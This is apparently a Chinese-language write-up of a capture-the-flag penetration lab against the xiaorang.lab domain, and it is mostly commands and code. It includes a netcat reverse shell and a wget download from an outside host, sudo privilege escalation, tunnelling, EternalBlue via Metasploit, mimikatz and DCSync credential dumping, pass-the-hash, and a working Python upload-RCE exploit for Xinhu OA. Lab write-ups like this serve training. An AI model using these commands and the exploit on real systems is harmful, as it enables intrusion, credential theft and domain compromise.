首先拿到目标IP:39.99.156.72
通过Fscan进行扫描发现存在Thinkphp RCE漏洞。
./fscan_amd64 -h 39.99.156.72
然后通过利用工具进行RCE。
我们进行getshell之后通过蚁剑进行连接。
反弹shell并转换成python 交互式shell。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 43.137.19.241 3377 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'
查看ip
hostname -I
上传fscan,并使用fscan扫描。
wget http://43.137.19.241:5000/fscan_amd64
chmod +x fscan_amd64
./fscan_amd64 -h 172.22.1.0/24
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc
紧接着通过sudo进行提权。
sudo -l
sudo -l
sudo mysql -e '\! cat /root/flag/flag01.txt'
flag{60b53231-
紧接着在fscan中可以看到存在一个ms17-010的机器,也就是172.22.1.21。
这里我们做一个nps隧道。
./npc -server=43.137.19.241:8024 -vkey=23qm41udjudhnbu0 -type=tcp
紧接着通过MSF打MS17-010。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
得多打几次。
上去之后先迁移进程防止掉了。
加载mimikatz并导出hash。
load kiwi
creds_all
这里的WIN7$机器账户有着DCSYNC的权限,我们可以直接dcsync也可以通过crack…来进行直接PTH。
kiwi_cmd lsadump::dcsync /all /csv
然后通过hash传递拿到第三个flag即可。
信呼协同办公系统:
弱口令: admin admin123
这个系统在2.2有一个文件上传的漏洞。
参考文章:https://blog.csdn.net/solitudi/article/details/118675321
exp:
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)
然后我们通过蚁剑挂代理进行连接。
连上之后发现是system权限,因为phpstudy启动需要管理员权限。
获取到第二段flag。
type c:\users\administrator\flag\flag02.txt
flag02: 2ce3-4813-87d4-
并且给出了提示说可以打域控了。
这里我得重启一下靶机,因为ms17-010一直返回不了session给打崩了。
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6} 最终flag。